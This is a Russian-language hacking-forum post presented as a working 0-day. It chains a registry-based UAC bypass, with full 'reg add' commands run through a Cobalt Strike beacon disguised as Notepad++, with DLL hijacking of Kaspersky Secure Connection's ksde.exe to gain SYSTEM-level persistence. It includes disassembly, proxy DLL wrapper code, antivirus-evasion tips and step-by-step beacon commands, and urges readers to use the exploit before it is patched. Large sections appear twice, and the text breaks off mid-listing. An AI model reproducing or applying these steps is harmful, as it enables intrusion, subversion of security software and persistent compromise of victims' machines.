Это логическое продолжение первой части шестой статьи: https://xss.pro/threads/67021/
Название статьи для голосования пусть будет взято из этой части, так как CobaltStrike от А до Я уже было использовано в прошлом конкурсе, и повторяться как-то не в рамках приличия...
То есть: [0day] Золотая рыбка... — GoldFish Exploit x86/x64 (for the Kaspersky Secure Connection 5.3) ссылка на первую часть и ссылка на эту часть
Я специально сделал так, чтобы в первой части были изложены фундаментальные основы DLL Hijacking attack'и и дал немного времени, тем кому это действительно интересно, самостоятельно попробовать что-то сделать на практике опираясь на информацию из шестой статьи первой части. Те, кто реально изучил тему по первой части этой статьи, смогут быстро и без проблем сбилдить этот маленький прыщавый зеродей и успеть заюзать этот эксплойт, пока еще это анальное отверстие не заштопали наспех в Лаборатории Касперского...
Заметил, тут многие спорят, в различных темах, по каким тематикам подходит та или иная статья для конкурса, или вообще подходит ли данная статья для участия в конкурсе...
Смотрим, по каким тематикам подходит эта статья для этого конкурса:
Итак, в первой части этой статьи, мы нашли в Notepad++ несколько УЯЗВИМЫХ МЕСТ к DLL Search Order Hijacking, и создали Proxy DLL для атаки на защитное ПО антивируса Kaspersky.
Приведу пример, для сравнения, базовой информации по этой теме, от автора CobaltStrike'а:
www.cobaltstrike.com
github.com
UAC Bypass
Итак, с чего нам в первую очередь следует начать?
Да все очень просто, нам нужно получить доступ к директориям Program Files и Program Files (x86) для того, чтобы иметь возможность при помощи Cobalt Strike'а загрузить туда любой файл.
Когда мы делаем попытку, ну например, дроппнуть (или удалить) какой-то файл в директорию Program Files, то появляется окно UAC... А это значит, нам нужно обойти Контроль Учетных Записей - User Account Control (UAC)
Для начала погуглим: UAC + bypass - и гугл нам обязательно укажет на путь истины...
Ну, и в результате нас этот путь обязательно приведет сюда: https://github.com/hfiref0x/UACME - как оказалось, это самый большой пак паблик обходов UAC на сегодня из существующих, поддерживаемый и актуальный...
Там много различных вариантов, я выбрал 70 вариант, так как он один из последних, и как оказалось очень прост в реализации:
Почему именно этот вариант я выбрал, а не самый последний? Ну, мне были интересны здесь несколько строк, на которые я обратил особое внимание:
Method: Registry key manipulation - манипуляции с реестром, данный метод прост в реализации.
Fixed in: unfixed и How: - с прочерком, что указывает на то, что данный обход UAC актуален и его можно использовать в данный момент.
Target(s): \system32\fodhelper.exe, \system32\computerdefaults.exe - данный обход работает как с fodhelper.exe так и с computerdefaults.exe
Основываясь на этом незначительном аспекте, сделаем выбор в пользу computerdefaults.exe и далее сделаем реверсинг в IDA Pro этой программы и проанализируем полученные результаты:
Из низкоуровневого ассемблерного кода, видно, что все в этой программе сводится к одному, а именно к запуску всего одной API ShellExecuteExW c параметром: "ms-settings:defaultapps" - тут стоит обратить особое внимание на ms-settings
Если поискать через гугл: computerdefaults.exe + ms-settings + UAC - то можно быстро найти годный вариант обхода UAC
Возьмем, для тестов, ссылки на первой странице поиска:
Первая же ссылка и сразу с кодом: https://packetstormsecurity.com/files/149885/Microsoft-Windows-10-UAC-Bypass-By-computerDefault.html (Oct 22, 2018) - проверил на Windows 10 и 11 и вроде работает.
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md - ну еще и с github.com можно увидеть различные реализации для других программ sdclt.exe и т. д.
А тут: https://chowdera.com/2022/03/202203011701516497.html - автор подробно описывает весь процесс, и даже там делал какие-то тесты с Qihoo 360 и еще описывает метод получения UAC whitelist'а
В результате весь этот обход UAC уложился в три строки текста...
Вводим эти две строки поочередно в интерактивной консоли маяка Cobalt Strike'а (только указываем свой путь до маяка, вместо "c:\SOFT\npp.7.9.5.portable.minimalist\notepad++.exe") - обязательно см. ниже уточнение касательно этого пути...
И далее запускаем computerdefaults.exe (или fodhelper.exe) также используя интерактивную консоль маяка Cobalt Strike'а:
Kaspersky Total Security - как и ожидалось, никак не отреагировал на вносимые изменения в реестр...
Кстати, я тут попробовал использовать маяк без Notepad++ и добавить через маяк эти пару ключей в реестр, и вот тут змей ГорынычЪ Kaspersky Total Security как оказалось не дремал, и нещадно, моментально покарал - да так, что маяк потух в недрах карантина...
Kaspersky Total Security реагирует именно на сам факт создания этих ключей в реестре, а не через что это осуществляется, будь то это скрипт ps1 или BOF в котором юзаются ADVAPI32$RegCreateKeyExW и ADVAPI32$RegSetValueExW - то есть, если бы маяк не был скрыт под личиной доверенного процесса Notepad++, то Kaspersky Total Security не позволил бы обойти UAC и не важно было бы, закриптовали ли вы свой маяк мегаприватным криптором... кстати, таким образом уник крипт улетел бы в лабораторию Касперского и там бы уже для него сделали бы детект и еще достали из маяка конфиг Cobalt Strike'а...
Кстати, сделал заодно тест через BOF и syscall'ы и закриптованный маяк без Notepad++, и Kaspersky Total Security позволил без проблем вносить изменения в реестр и Kaspersky Total Security никак на это НЕ отреагировал (более подробно о BOF'ах и syscall'ах я писал в первой статье...)
Итак, первый рубеж обороны пройден (мы обошли защиту системы и антивируса) и у нас запустился маяк в доверительном процессе Notepad++ из-под юзерского администратора.
Теперь мы можем загружать файлы в директории Program Files и Program Files (x86)
Выбор жертвы для DLL Hijacking атаки
Вначале, планировал здесь написать, про закрепление в системе из-под личины Windows Defender, так как этот зверек по умолчанию во многих системах стоит как единственное Защитное ПО, но... но...
Кстати, для Windows Defender сейчас сделали ребрэндинг и теперь он Microsoft Defender, а переименовали его в Microsoft Defender для того, чтобы подчеркнуть кросс-платформенный подход Microsoft к безопасности... и теперь это "чудо" защищает весь Microsoft...
Но... Все кому не лень везде в интернете пишут, как отключить Windows Defender, да так, что это превратилось в какой-то фарс...
Я не стал ходить вокруг да около (выискивая сакральную жертву попроще), и решил покуситься сразу на святыню всех святынь, а именно на Kaspersky Total Security - этот зверь, защищает самого себя лучше, чем саму ОС во стократ.
Хочу отметить, что в директорию C:\Program Files\Kaspersky Lab\Kaspersky Total Security 21.3 - Kaspersky Total Security не даст загрузить ничего, а вот у Kaspersky Secure Connection защита оказалась слабее, и в директорию C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 5.3 мы с такими полученными привилегиями для маяка (после обхода UAC) сможем загружать файлы.
Итак, если мы можем загружать файлы в директорию Kaspersky Secure Connection, то значит его мы и будем атаковать при помощи DLL Hijacking
Для начала давайте изучим, какие процессы Kaspersky Secure Connection работают в системе:
ksde.exe - имеет на своем борту NT AUTHORITY\SYSTEM и сессию 0 (наша сессия 1) и как бонус, этот процесс стартует вместе с системой, что эквивалентно автозагрузке, а стало быть, ksde.exe - это и есть наша цель для атаки... (в первой части этой статьи я уже писал о правилах, на которых нужно основываться при выборе жертвы для атаки)
Реверсинг и анализ ksde.exe
ksde.exe - Kaspersky Secure Connection Service 5.3: Обеспечивает защиту от кражи ваших конфиденциальных данных (номеров банковских карт, паролей для доступа к интернет-банкингу), а также финансов при выполнении онлайн-платежей.
Для начала, посмотрим, какие DLL используются в импорте ksde.exe
Что-то это подозрительно, слишком мало импортируемых dll'ок (всего две) для главной-то программы из Kaspersky Secure Connection
Но перед тем, как приступить к созданию Proxy DLL нужно обязательно проверить, а нет ли в ksde.exe защиты от подмены системных DLL (вообще, такую предварительную проверку нужно делать всегда в первую очередь)
Для этого просто закинем в директорию C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 5.3 обычную копию ADVAPI32.dll из директории C:\Windows\System32 (или из C:\Windows\SysWOW64 если x86) и проверим будет ли загрузка этой ADVAPI32.dll из директории Kaspersky Secure Connection 5.3
После перезагрузки ОС видно, что ADVAPI32.dll загрузилась из директории C:\Windows\SysWOW64 а это значит, что есть какая-та защита, иначе бы ADVAPI32.dll была бы загружена из директории Kaspersky Secure Connection 5.3
Если посмотреть, выше на скриншот с ProcessExplorer'ом, то можно увидеть, что там помимо двух импортируемых ADVAPI32.dll и KERNEL32.dll загружены другие DLL (я их выделил синим цветом) из директории Kaspersky Secure Connection но в статическом импорте их нет, а это значит, что происходит динамическая загрузка этих DLL через API LoadLibrary или подобными другими API, а бывает и специальным загрузчиком - все зависит от антивируса.
Поищем среди этих DLL в директории Kaspersky Secure Connection 5.3 подходящую для подмены DLL
Существует в сети много всякого софта, скриптов и т. д. для анализа экспорта в dll'ках, каждый может погуглить: Proxy + DLL и выбрать для себя подходящий софт или скрипты, кому как удобнее будет.
Я выбрал подходящую для подмены DLL и это uds.dll
В ней всего две экспортируемые функции: ekaCanUnloadModule и ekaGetObjectFactory, поэтому ее и будем подменять.
Теперь очень важный момент, до этого момента, мы подменяли системные DLL, но для них есть известные прототипы в заголовочных файлах в SDK, а вот в проприетарном софте (тем более, у антивирусов) такой халявы нет, там все скрытно, неизвестно и проблематично.
Потому как даже не известно, сколько параметров эта функция принимает, и какие типы у этих параметров и т. д.
Тут реверсинг обязателен, но в нашей ситуации всего две экспортируемые функции, а это не займет много времени при анализе кода.
Если посмотреть, на код из экспортируемой функции ekaCanUnloadModule в IDA Pro
То можно увидеть, что там кода-то всего несколько строк + IDA Pro автоматически сама определила и создала прототип BOOL ekaCanUnloadModule(); для этой экспортируемой функции.
Экспортируемая функция ekaCanUnloadModule проверяет некий счетчик, и если он не равен нулю, то возвращает значение TRUE, таким образом указывая программе ksde.exe что ей можно выгрузить модуль.
По идее, можно вообще не заморачиваться с кодом, а просто сделать функции обертки с возвращаемыми значениями по умолчанию, таким образом можно сэкономить массу времени.
Ну например:
Если такой код будет работоспособным, то почему бы и не сделать так, но обычно так бывает редко...
Это все же антивирусные модули, там бывают такие модули, у которых и по 20 и по 30 экспортируемых функций и они не просто функции, а могут быть методами какого-нибудь класса, а там передаются указатели на эти классы и методы в регистрах, которые вообще нельзя чтобы изменялись, а компилятор, естественно, этого не знает, и будет генерировать код, в котором будет использовать различные регистры для своих нужд, таким образом изменяя значения в этих регистрах, что естественно будет вызывать неправильную работу антивируса...
Это только часть кода функции, на самом деле кода гораздо больше...
Если посмотреть в конце функции, то можно увидеть, что возвращаемое значение (из этой экспортируемой функции) в регистре mov eax, 80000043h похоже на код какой-то ошибки, что в принципе также делает возможным сделать функцию обертки с возвращаемыми значениями по умолчанию, ну например, так:
Но... есть одно, но...
В этой строчке кода and dword ptr [eax], 0 также что-то должно возвращаться, а это может быть какой-то указатель на какой-то класс, и если там будет какое-то мусорное значение, то у антивируса может нарушиться работоспособность.
Поэтому придется проанализировать код, более детальнее для того, чтобы создать вручную прототип этой экспортируемой функции, так как IDA Pro на автоподсосе не справилась со своей задачей и вернула неправильный прототип int __cdecl ekaGetObjectFactory(int, int, _DWORD *); этой экспортируемой функции...
Тут в принципе ничего сложного нет при анализе кода, достаточно проследить за регистрами и изменяемыми в них значениями, тут более важное знать, что есть просто значение, передаваемое в функцию, а есть еще указатель на определенный участок в памяти/стеке и еще нужно знать сколько принимает эта функция параметров...
Если со значениями параметров все просто, там обычно тип DWORD или QWORD (и IDA Pro обычно сама определит, как и количество параметров, требуемых для функции), то с указателями не все так просто... приходится тщательнее проверять, является этот параметр указателем или нет.
Проще, да и правильнее, будет делать реверсинг как x86, так и x64 версий сразу обоих... вообще тема реверс-инжиниринга не является тривиальной задачей, там нужно уметь пользоваться специальными программами, знать ЯП ассемблер как x86, так и x64, еще C/C++/C++23(C2x), а еще Python, Java, Web и т. д.
В результате реверс-инжиниринга мы выяснили, какими должны быть прототипы этих экспортируемых функции:
На самом деле у функций реально должно быть __cdecl вместо __stdcall, но так как мы будем вызывать эти функции внутри wrapper'ов, то при использовании __cdecl будут сниматься из стека лишний раз значения, что нарушит работу антивируса и вызовет критическую ошибку...
Существует и другой способ создания wrapper'ов для Proxy DLL, там и реверс-инжиниринг не требуется, ну разве что, чисто символически, но эта тема уже выходит за рамки данной статьи...
Создание Proxy DLL
Вот, собственно, и готовый код этой Proxy DLL:
Компилируем и билдим в Cobalt Strike также как это делалось в первой части этой шестой статьи.
Полностью весь код, готового эксплойта, можно будет скачать ниже...
код шаблона универсальный, можно компилировать как x86, так и x64
Здесь я специально сделал изменения в коде из первой части, он стал немного сложнее, но его использовать как шаблон для других эксплойтов будет в разы проще.
Первое здесь применяется макрос LPFUNCTION() для создания типовых указателей для функций, достаточно написать в качестве параметра имя функции typedef LPFUNCTION(ekaGetObjectFactory); и все.
Раньше нужно было лепить дополнительно всякие городульки типа:
Сейчас все будет преобразовываться автоматически.
Был изменен код для получения пути, при помощи функции GetModuleFileNameW, до директории, в которой находится оригинальная DLL с измененным именем...
Имя оригинальной uds.dll было изменено на kluds.dll - префикс kl очень часто используется в именах файлов Kaspersky Total Security
Был изменен код, для получения адресов экспортируемых функций из оригинальной uds.dll, теперь достаточно будет изменять список имен функций в многомерном массиве szFunctionNames и указать количество этих функций в константе NUMBER_OF_EXPFUNCS, если этот код будет использоваться в качестве шаблона для других эксплойтов.
В коде дополнительно используется директива #pragma optimize( "", off ), которая влияет на генерируемый код компилятором для размещения имен функций непосредственно в самом коде, а не в секции дата, для того чтобы исключить возможность детекта именно целых строк при сканировании памяти антивирусами.
Автоматизация процесса атаки
Для автоматизации процесса атаки, я создал специальный скрипт для Cobalt Strike'а
Вся эта автоматизация требует обязательной работы маяка из-под доверительного процесса, иначе антивирус будет убивать маяк еще на стадии "зачатия"!
Вручную, без скрипта, такую атаку будет сложно осуществить, так как после убивания процессов ksde.exe и ksdeui.exe они будут, перезапущены через несколько секунд.
Кстати, если их постоянно убивать, то через некоторое время, они вообще перестанут перезапускаться...
Нам нужно выполнить подмену DLL до того, как произойдет перезапуск ksde.exe
На данный момент у нас достаточно прав (после обхода UAC), чтобы убить процесс ksde.exe, переименовать uds.dll в kluds.dll и загрузить нашу Proxy DLL в директорию C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 5.3
Кстати, такие манипуляции невозможно осуществить над процессом avp.exe после обхода UAC, а вот ksde.exe оказался во всех отношениях слабым к атаке DLL Hijacking
Пару слов о скрипте:
Думаю, скрипт получился читабельным и особо в комментариях не нуждается, да и у вас у всех было достаточно времени изучить тему скриптов для Cobalt Strike'а еще с первого моего участия в прошлом конкурсе, но один важный момент все же стоит уточнить:
В скрипте в многомерный массив KSC_DIRS можно добавлять дополнительные пути директорий (возможно и другие версии Kaspersky Secure Connection уязвимы к подобной атаке), в которых находится uds.dll и для требуемой версии Proxy DLL указывать x86 или x64
После того, как будет убит процесс ksde.exe и переименована uds.dll в kluds.dll и загружена в директорию C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 5.3 подменяемая Proxy DLL произойдет автоматический перезапуск ksde.exe и ksdeui.exe и у нас появится в Cobalt Strike'е системный процесс маяка с сессией 0
Процитирую здесь пару строк из первой части, как итог всего этого:
1. Сам процесс маяка будет иметь привилегии NT AUTHORITY\SYSTEM
2. Этот процесс должен использоваться только как закрепление в ОС с возможностью запуска других отдельных процессов маяков с повышенными привилегиями, для дальнейшего проведения атак для продвижения/разведки в системе/сети...
3. Сейчас нужно проводить объемный комплекс атак, чтобы достичь поставленной задачи, и на первых этапах не стоит пренебрегать свежими и актуальными паблик решениями... тем более, что так можно быстро добиться поставленной задачи.
4. Не использовать штатный функционал из МОДУЛЕЙ Cobalt Strike'а, так как они моментально детектятся антивирусами при сканировании памяти, ну например, mimikatz сразу задетектят, да и вообще от таких детектов не спасет даже Notepad++.
А Kaspersky Total Security постоянно автоматически сканирует новую выделяемую память (от этого Notepad++ может спасти) и периодически сканирует всю память, а здесь шансов избежать детектов просто нет - для этого нужно либо основательно чистить сами модули Cobalt Strike'а (про то, как чистить модули, я подробно написал в четвертой статье), либо юзать свой набор чистых нативных BOF'ов с syscall'ами... (про BOF'ы я писал в первой и третьей статьях)
5. Proxy DLL должна быть обязательно закриптована специальным уникальным криптом...
Последовательность действий, которые нужно выполнить в определенном порядке, для выполнения эксплойта
Загружаем скрипт goldfish.cna в Cobalt Strike (как пользоваться скриптами, я подробно писал в первой статье)
Обязательно рядом со скриптом должны находиться uds.x86.dll и uds.x64.dll
Далее, вводим строку в интерактивной консоли маяка Cobalt Strike'а
Вводим строку в интерактивной консоли маяка Cobalt Strike'а, но путь до софта указываем предварительно на НЕ существующий софт на диске.
Теперь загружаем сам софт по указанному пути в предыдущей команде: "c:\SOFT\npp.7.9.5.portable.minimalist\notepad++.exe"
Загрузить можно через Explore -> File Browser далее в появившейся вкладке указываем путь до директории, в которую будет загружаться софт и загружаем сам софт нажав на кнопку Upload и выбрав там софт для загрузки в указанную директорию.
Вводим строку в интерактивной консоли маяка Cobalt Strike'а
Ждем, когда появится новый процесс запущенный с привилегиями администратора.
Далее, вводим строку в интерактивной консоли маяка Cobalt Strike'а с привилегиями администратора.
Ждем, когда появится новый запущенный СИСТЕМНЫЙ процесс...
Ну, и вишенка на торте, выполняем следующую команду в интерактивной консоли маяка Cobalt Strike'а с СИСТЕМНЫМИ привилегиями:
Ну, а теперь, внимание, барабанная дробь!
Название статьи для голосования пусть будет взято из этой части, так как CobaltStrike от А до Я уже было использовано в прошлом конкурсе, и повторяться как-то не в рамках приличия...
То есть: [0day] Золотая рыбка... — GoldFish Exploit x86/x64 (for the Kaspersky Secure Connection 5.3) ссылка на первую часть и ссылка на эту часть
Я специально сделал так, чтобы в первой части были изложены фундаментальные основы DLL Hijacking attack'и и дал немного времени, тем кому это действительно интересно, самостоятельно попробовать что-то сделать на практике опираясь на информацию из шестой статьи первой части. Те, кто реально изучил тему по первой части этой статьи, смогут быстро и без проблем сбилдить этот маленький прыщавый зеродей и успеть заюзать этот эксплойт, пока еще это анальное отверстие не заштопали наспех в Лаборатории Касперского...
Заметил, тут многие спорят, в различных темах, по каким тематикам подходит та или иная статья для конкурса, или вообще подходит ли данная статья для участия в конкурсе...
Смотрим, по каким тематикам подходит эта статья для этого конкурса:
1. Методы закрепления в режиме пользователя либо ядра в Windows...
2. Создание и модификация 0/1day эксплойтов под Windows...
3. Реверсинг: анализ...
4. Методики противодействия защитному ПО, скрытие вредоносного кода.
5. Пентестинг ...: повышение привилегий, ..., работа с фреймворками для пост-эксплуатации.
Итак, в первой части этой статьи, мы нашли в Notepad++ несколько УЯЗВИМЫХ МЕСТ к DLL Search Order Hijacking, и создали Proxy DLL для атаки на защитное ПО антивируса Kaspersky.
Приведу пример, для сравнения, базовой информации по этой теме, от автора CobaltStrike'а:
Create a proxy DLL with artifact kit | Cobalt Strike
Walk through an example of adding a DLL proxy to beacon.dll for use in a DLL Proxy attack, which can be leveraged in a red team engagement to help measure defenses.
GitHub - Cobalt-Strike/ProxyDLLExample: code for the Proxy DLL example blog post
code for the Proxy DLL example blog post. Contribute to Cobalt-Strike/ProxyDLLExample development by creating an account on GitHub.
У нас сейчас (на момент конца первой части шестой статьи) маяк скрыт под личиной легальной программы Notepad++ и многие может показаться, ну что тут такого, ну подумаешь, уязвимость в каком-то там Notepad++, да и это вообще НЕ уязвимость даже...В результате проведенной атаки (используя эксплойт), мы получим привилегии NT AUTHORITY\SYSTEM в сессии 0, и закрепление в ОС Windows эквивалентно автозагрузке.
UAC Bypass
Итак, с чего нам в первую очередь следует начать?
Да все очень просто, нам нужно получить доступ к директориям Program Files и Program Files (x86) для того, чтобы иметь возможность при помощи Cobalt Strike'а загрузить туда любой файл.
Когда мы делаем попытку, ну например, дроппнуть (или удалить) какой-то файл в директорию Program Files, то появляется окно UAC... А это значит, нам нужно обойти Контроль Учетных Записей - User Account Control (UAC)
Для начала погуглим: UAC + bypass - и гугл нам обязательно укажет на путь истины...
Ну, и в результате нас этот путь обязательно приведет сюда: https://github.com/hfiref0x/UACME - как оказалось, это самый большой пак паблик обходов UAC на сегодня из существующих, поддерживаемый и актуальный...
Там много различных вариантов, я выбрал 70 вариант, так как он один из последних, и как оказалось очень прост в реализации:
Код:
70. Author: V3ded
* Type: Shell API
* Method: Registry key manipulation
* Target(s): \system32\fodhelper.exe, \system32\computerdefaults.exe
* Component(s): Attacker defined
* Implementation: ucmShellRegModMethod3
* Works from: Windows 10 (10240)
* Fixed in: unfixed :see_no_evil:
* How: -
* Code status: added in v3.5.7
Method: Registry key manipulation - манипуляции с реестром, данный метод прост в реализации.
Fixed in: unfixed и How: - с прочерком, что указывает на то, что данный обход UAC актуален и его можно использовать в данный момент.
Target(s): \system32\fodhelper.exe, \system32\computerdefaults.exe - данный обход работает как с fodhelper.exe так и с computerdefaults.exe
Основываясь на этом незначительном аспекте, сделаем выбор в пользу computerdefaults.exe и далее сделаем реверсинг в IDA Pro этой программы и проанализируем полученные результаты:
Код:
lea eax, [esp+44h+pExecInfo]
push 3Ch ; Size
push 0 ; Val
push eax ; void *
call memset
add esp, 0Ch
lea eax, [esp+40h+pExecInfo]
mov [esp+40h+pExecInfo.cbSize], 3Ch ;
mov [esp+40h+pExecInfo.fMask], 500h
mov [esp+40h+pExecInfo.nShow], SW_SHOWNORMAL
mov [esp+40h+pExecInfo.lpVerb], offset szOpen ; "open"
push eax ; pExecInfo
mov [esp+44h+pExecInfo.lpFile], offset szMsSettingsDefaultapps ; "ms-settings:defaultapps"
call ShellExecuteExW
Если поискать через гугл: computerdefaults.exe + ms-settings + UAC - то можно быстро найти годный вариант обхода UAC
Возьмем, для тестов, ссылки на первой странице поиска:
Первая же ссылка и сразу с кодом: https://packetstormsecurity.com/files/149885/Microsoft-Windows-10-UAC-Bypass-By-computerDefault.html (Oct 22, 2018) - проверил на Windows 10 и 11 и вроде работает.
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md - ну еще и с github.com можно увидеть различные реализации для других программ sdclt.exe и т. д.
А тут: https://chowdera.com/2022/03/202203011701516497.html - автор подробно описывает весь процесс, и даже там делал какие-то тесты с Qihoo 360 и еще описывает метод получения UAC whitelist'а
В результате весь этот обход UAC уложился в три строки текста...
Код:
shell reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "" /t REG_SZ /d "c:\SOFT\npp.7.9.5.portable.minimalist\notepad++.exe" /f
shell reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /t REG_DWORD /d 0 /f
И далее запускаем computerdefaults.exe (или fodhelper.exe) также используя интерактивную консоль маяка Cobalt Strike'а:
Код:
shell computerdefaults.exe
Kaspersky Total Security - как и ожидалось, никак не отреагировал на вносимые изменения в реестр...
Кстати, я тут попробовал использовать маяк без Notepad++ и добавить через маяк эти пару ключей в реестр, и вот тут змей ГорынычЪ Kaspersky Total Security как оказалось не дремал, и нещадно, моментально покарал - да так, что маяк потух в недрах карантина...
Kaspersky Total Security реагирует именно на сам факт создания этих ключей в реестре, а не через что это осуществляется, будь то это скрипт ps1 или BOF в котором юзаются ADVAPI32$RegCreateKeyExW и ADVAPI32$RegSetValueExW - то есть, если бы маяк не был скрыт под личиной доверенного процесса Notepad++, то Kaspersky Total Security не позволил бы обойти UAC и не важно было бы, закриптовали ли вы свой маяк мегаприватным криптором... кстати, таким образом уник крипт улетел бы в лабораторию Касперского и там бы уже для него сделали бы детект и еще достали из маяка конфиг Cobalt Strike'а...
Кстати, сделал заодно тест через BOF и syscall'ы и закриптованный маяк без Notepad++, и Kaspersky Total Security позволил без проблем вносить изменения в реестр и Kaspersky Total Security никак на это НЕ отреагировал (более подробно о BOF'ах и syscall'ах я писал в первой статье...)
ПРИМЕЧАНИЕ: Стоит также отметить, что такой обход UAC не даст положительного эффекта, если юзер УСТАНОВИЛ UAC на максимальный уровень Always notify...
ВАЖНО: когда выполняется команда: shell reg add... и в ней есть путь, указывающий на программу, то Kaspersky Total Security будет проверять эту программу, и если эта программа не имеет цифровой подписи, то Kaspersky Total Security не даст внести такие изменения в реестр и выдаст алерт с сообщением об угрозе про эксплойт...
Итак, первый рубеж обороны пройден (мы обошли защиту системы и антивируса) и у нас запустился маяк в доверительном процессе Notepad++ из-под юзерского администратора.
Теперь мы можем загружать файлы в директории Program Files и Program Files (x86)
Выбор жертвы для DLL Hijacking атаки
Вначале, планировал здесь написать, про закрепление в системе из-под личины Windows Defender, так как этот зверек по умолчанию во многих системах стоит как единственное Защитное ПО, но... но...
Кстати, для Windows Defender сейчас сделали ребрэндинг и теперь он Microsoft Defender, а переименовали его в Microsoft Defender для того, чтобы подчеркнуть кросс-платформенный подход Microsoft к безопасности... и теперь это "чудо" защищает весь Microsoft...
Но... Все кому не лень везде в интернете пишут, как отключить Windows Defender, да так, что это превратилось в какой-то фарс...
Я не стал ходить вокруг да около (выискивая сакральную жертву попроще), и решил покуситься сразу на святыню всех святынь, а именно на Kaspersky Total Security - этот зверь, защищает самого себя лучше, чем саму ОС во стократ.
Хочу отметить, что в директорию C:\Program Files\Kaspersky Lab\Kaspersky Total Security 21.3 - Kaspersky Total Security не даст загрузить ничего, а вот у Kaspersky Secure Connection защита оказалась слабее, и в директорию C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 5.3 мы с такими полученными привилегиями для маяка (после обхода UAC) сможем загружать файлы.
Итак, если мы можем загружать файлы в директорию Kaspersky Secure Connection, то значит его мы и будем атаковать при помощи DLL Hijacking
Для начала давайте изучим, какие процессы Kaspersky Secure Connection работают в системе:
ksde.exe - имеет на своем борту NT AUTHORITY\SYSTEM и сессию 0 (наша сессия 1) и как бонус, этот процесс стартует вместе с системой, что эквивалентно автозагрузке, а стало быть, ksde.exe - это и есть наша цель для атаки... (в первой части этой статьи я уже писал о правилах, на которых нужно основываться при выборе жертвы для атаки)
Реверсинг и анализ ksde.exe
ksde.exe - Kaspersky Secure Connection Service 5.3: Обеспечивает защиту от кражи ваших конфиденциальных данных (номеров банковских карт, паролей для доступа к интернет-банкингу), а также финансов при выполнении онлайн-платежей.
Для начала, посмотрим, какие DLL используются в импорте ksde.exe
Что-то это подозрительно, слишком мало импортируемых dll'ок (всего две) для главной-то программы из Kaspersky Secure Connection
Но перед тем, как приступить к созданию Proxy DLL нужно обязательно проверить, а нет ли в ksde.exe защиты от подмены системных DLL (вообще, такую предварительную проверку нужно делать всегда в первую очередь)
Для этого просто закинем в директорию C:\Program Files (x86)\Kaspersky Lab\Kaspersky Secure Connection 5.3 обычную копию ADVAPI32.dll из директории C:\Windows\System32 (или из C:\Windows\SysWOW64 если x86) и проверим будет ли загрузка этой ADVAPI32.dll из директории Kaspersky Secure Connection 5.3
После перезагрузки ОС видно, что ADVAPI32.dll загрузилась из директории C:\Windows\SysWOW64 а это значит, что есть какая-та защита, иначе бы ADVAPI32.dll была бы загружена из директории Kaspersky Secure Connection 5.3
Если посмотреть, выше на скриншот с ProcessExplorer'ом, то можно увидеть, что там помимо двух импортируемых ADVAPI32.dll и KERNEL32.dll загружены другие DLL (я их выделил синим цветом) из директории Kaspersky Secure Connection но в статическом импорте их нет, а это значит, что происходит динамическая загрузка этих DLL через API LoadLibrary или подобными другими API, а бывает и специальным загрузчиком - все зависит от антивируса.
Поищем среди этих DLL в директории Kaspersky Secure Connection 5.3 подходящую для подмены DLL
Существует в сети много всякого софта, скриптов и т. д. для анализа экспорта в dll'ках, каждый может погуглить: Proxy + DLL и выбрать для себя подходящий софт или скрипты, кому как удобнее будет.
Я выбрал подходящую для подмены DLL и это uds.dll
В ней всего две экспортируемые функции: ekaCanUnloadModule и ekaGetObjectFactory, поэтому ее и будем подменять.
Теперь очень важный момент, до этого момента, мы подменяли системные DLL, но для них есть известные прототипы в заголовочных файлах в SDK, а вот в проприетарном софте (тем более, у антивирусов) такой халявы нет, там все скрытно, неизвестно и проблематично.
Потому как даже не известно, сколько параметров эта функция принимает, и какие типы у этих параметров и т. д.
Тут реверсинг обязателен, но в нашей ситуации всего две экспортируемые функции, а это не займет много времени при анализе кода.
Если посмотреть, на код из экспортируемой функции ekaCanUnloadModule в IDA Pro
Код:
.text:1001EF5C ; Exported entry 1. ekaCanUnloadModule
.text:1001EF5C ; BOOL ekaCanUnloadModule()
.text:1001EF5C public ekaCanUnloadModule
.text:1001EF5C ekaCanUnloadModule proc
.text:1001EF5C mov ecx, dword_10031468
.text:1001EF62 xor eax, eax
.text:1001EF64 test ecx, ecx
.text:1001EF66 setnz al
.text:1001EF69 retn
.text:1001EF69 ekaCanUnloadModule endp
Экспортируемая функция ekaCanUnloadModule проверяет некий счетчик, и если он не равен нулю, то возвращает значение TRUE, таким образом указывая программе ksde.exe что ей можно выгрузить модуль.
По идее, можно вообще не заморачиваться с кодом, а просто сделать функции обертки с возвращаемыми значениями по умолчанию, таким образом можно сэкономить массу времени.
Ну например:
Код:
BOOL __cdecl EXPORT_ekaCanUnloadModule(void)
{
InitStart();
return FALSE;
}
Это все же антивирусные модули, там бывают такие модули, у которых и по 20 и по 30 экспортируемых функций и они не просто функции, а могут быть методами какого-нибудь класса, а там передаются указатели на эти классы и методы в регистрах, которые вообще нельзя чтобы изменялись, а компилятор, естественно, этого не знает, и будет генерировать код, в котором будет использовать различные регистры для своих нужд, таким образом изменяя значения в этих регистрах, что естественно будет вызывать неправильную работу антивируса...
Нам еще осталось изучить код еще одной экспортируемой функции ekaGetObjectFactory в IDA ProПРИМЕЧАНИЕ: А юзер будет постоянно наблюдать за периодически выскакивающими алертами с критическими ошибками и настойчивыми предложениями сообщить разработчикам антивируса об ошибке и поучаствовать в тестировании антивируса...
Юзер, в такой ситуации, может подумать, что антивирус бажный какой-то, и решит его удалить и найти другую альтернативу, а нам нельзя допустить подобных казусов, так как мы этот антивирус будем использовать для закрепления в ОС и в качестве автозагрузки...
Код:
.text:1001EF6A ; Exported entry 2. ekaGetObjectFactory
.text:1001EF6A ; int __cdecl ekaGetObjectFactory(int, int, _DWORD *)
.text:1001EF6A public ekaGetObjectFactory
.text:1001EF6A ekaGetObjectFactory proc
.text:1001EF6A var_14 = dword ptr -14h
.text:1001EF6A var_10 = dword ptr -10h
.text:1001EF6A var_4 = dword ptr -4
.text:1001EF6A arg_0 = dword ptr 8
.text:1001EF6A arg_4 = dword ptr 0Ch
.text:1001EF6A arg_8 = dword ptr 10h
.text:1001EF6A push ebp
.text:1001EF6B mov ebp, esp
